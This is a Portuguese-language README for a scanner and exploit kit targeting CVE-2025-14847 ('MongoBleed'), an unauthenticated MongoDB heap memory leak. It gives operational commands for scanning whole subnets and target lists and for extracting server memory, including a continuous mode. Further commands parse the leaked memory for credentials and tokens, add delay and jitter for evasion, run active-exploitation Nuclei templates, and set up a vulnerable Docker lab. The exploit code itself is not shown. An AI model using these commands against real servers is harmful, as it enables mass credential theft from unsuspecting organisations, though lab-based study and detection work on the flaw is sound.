
Scanner e ferramenta de exploit para CVE-2025-14847 (MongoBleed). Vazamento de memória heap não autenticado do MongoDB via descompressão zlib. Detecção, extração de memória, análise de credenciais, varredura CIDR/lote, modelos Nuclei e laboratório CTF incluídos
Scanner e Kit de Exploração CVE-2025-14847
Um kit de pesquisa de segurança para MongoBleed -- uma vulnerabilidade crítica de vazamento de memória não autenticado na descompressão zlib do MongoDB que permite que atacantes extraiam dados sensíveis da memória heap do servidor sem autenticação.
╔╦╗┌─┐┌┐┌┌─┐┌─┐╔╗ ┬ ┌─┐┌─┐┌┬┐
║║║│ │││││ ┬│ │╠╩╗│ ├┤ ├┤ ││
╩ ╩└─┘┘└┘└─┘└─┘╚═╝┴─┘└─┘└─┘─┴┘
CVE-2025-14847 Scanner & Exploit
# Nenhuma dependência externa -- apenas biblioteca padrão do Python 3
cd cli
# Detecta se um alvo é vulnerável (ação padrão)
python mongobleed.py -t localhost:27017
# Verifica uma sub-rede inteira
python mongobleed.py -t 192.168.1.0/24
# Extrai memória e analisa em busca de credenciais
python mongobleed.py -t target:27017 -e --credentials
# Modo seguro -- apenas detecção, sem exploração
python mongobleed.py -t target:27017 -s
MongoBleed/
├── cli/ # Scanner de linha de comando e ferramenta de exploração
│ ├── mongobleed.py # Ferramenta CLI principal
│ ├── requirements.txt # Dependências Python (apenas stdlib)
│ └── README.md # Documentação da CLI
├── lab/ # Ambiente de laboratório CTF baseado em Docker
│ ├── docker-compose.yml # Configuração multi-contêiner do laboratório
│ ├── vulnerable/ # Configurações vulneráveis do MongoDB
│ ├── patched/ # MongoDB corrigido para comparação
│ ├── no-zlib/ # Não explorável (zlib desabilitado)
│ ├── monitoring/ # Painel de visualização de ataques
│ ├── warmup-heap.sh # Preenche heap com dados sensíveis
│ └── README.md # Instruções de configuração do laboratório
├── nuclei/ # Modelos de varredura Nuclei
│ ├── CVE-2025-14847.yaml # Modelo de exploração ativa
│ ├── CVE-2025-14847-safe.yaml # Modelo de detecção segura
│ └── README.md # Documentação dos modelos Nuclei
├── docs/ # Documentação educacional
│ ├── README.md # Índice do caminho de aprendizado
│ ├── 01-fundamentals.md # Noções básicas de MongoDB e memória
│ ├── 02-vulnerability.md # Aprofundamento no CVE-2025-14847
│ ├── 03-exploitation.md # Exploração prática
│ ├── 04-detection.md # Caça e detecção
│ └── 05-defense.md # Estratégias de mitigação
└── README.md # Este arquivo
192.168.1.0/24, 10.0.0.0/16:27018)# Verifica alvo único
python mongobleed.py -t localhost:27017
# Verifica com saída detalhada
python mongobleed.py -t localhost:27017 -v
# Modo seguro -- apenas detecção, nunca envia payload de exploração
python mongobleed.py -t localhost:27017 -s
# Mostra informações da versão
python mongobleed.py -t localhost:27017 --version
# Varre uma sub-rede /24
python mongobleed.py -t 192.168.1.0/24
# CIDR com porta personalizada
python mongobleed.py -t 10.0.0.0/24:27018
# Varre a partir de arquivo de alvos (intervalos CIDR no arquivo são expandidos)
python mongobleed.py -T targets.txt -j 20 -o results.json
# O arquivo de alvos pode conter IPs, host:porta e intervalos CIDR
cat targets.txt
# 192.168.1.100:27017
# 10.0.0.0/24
# mongodb.internal:27017
# Extrai memória (intervalo de offset padrão 20-8192)
python mongobleed.py -t target:27017 -e
# Intervalo de offset personalizado
python mongobleed.py -t target:27017 -e --min-offset 20 --max-offset 500
# Extração contínua (Ctrl+C para parar)
python mongobleed.py -t target:27017 --continuous
# Força extração mesmo se a verificação de versão for inconclusiva
python mongobleed.py -t target:27017 -e --force
# Analisa memória vazada em busca de credenciais e segredos
python mongobleed.py -t target:27017 -e --credentials
# Analisa especificamente tokens
python mongobleed.py -t target:27017 -e --tokens
# Extrai strings imprimíveis
python mongobleed.py -t target:27017 -e --strings
# Saída hexdump
python mongobleed.py -t target:27017 -e --hexdump
# Adiciona atraso entre requisições (milissegundos)
python mongobleed.py -t target:27017 -e --delay 500
# Jitter aleatório no atraso
python mongobleed.py -t target:27017 -e --delay 1000 --jitter
# Apenas detecção segura
nuclei -t nuclei/CVE-2025-14847-safe.yaml -u mongodb://localhost:27017
# Detecção ativa
nuclei -t nuclei/CVE-2025-14847.yaml -u mongodb://localhost:27017
# Varre múltiplos alvos
nuclei -t nuclei/ -l targets.txt
# Inicia todos os contêineres
cd lab && docker compose up -d
# Serviços:
# - localhost:27017 MongoDB 4.4.29 (Vulnerável + zlib)
# - localhost:27018 MongoDB 6.0.26 (Vulnerável + zlib)
# - localhost:27019 MongoDB 8.0.16 (Vulnerável + zlib)
# - localhost:27020 MongoDB 8.0.17 (Corrigido)
# - localhost:27021 MongoDB 8.0.16 (Sem zlib - não explorável)
# - localhost:8080 Painel de Monitoramento
# Aquece o heap com dados sensíveis antes da exploração
./warmup-heap.sh 27017 50
# Executa exploit contra o laboratório
cd ../cli
python mongobleed.py -t localhost:27017 -e --credentials
Alvo:
-t, --target TARGET Host:porta alvo ou intervalo CIDR (ex.: 192.168.1.0/24)
-T, --targets FILE Arquivo com lista de alvos (suporta CIDR por linha)
Detecção:
--detect Detecta se o alvo é vulnerável (ação padrão)
--version Mostra versão do MongoDB
-s, --safe Modo seguro - apenas detecção, sem exploração
Exploração:
-e, --extract Extrai memória via varredura de offset
--min-offset N Offset mínimo a sondar (padrão: 20)
--max-offset N Offset máximo a sondar (padrão: 8192)
--continuous Modo de extração contínua
--force Força extração mesmo se a verificação de versão falhar
Análise:
--credentials Analisa em busca de credenciais
--tokens Analisa em busca de tokens
--strings Extrai strings imprimíveis
--hexdump Exibe hexdump
Evasão:
--delay MS Atraso entre requisições (milissegundos)
--jitter Jitter aleatório no atraso
Saída:
-o, --output FILE Arquivo de saída (JSON)
-v, --verbose Saída detalhada
-q, --quiet Modo silencioso
--json Saída JSON
--no-color Desabilita cores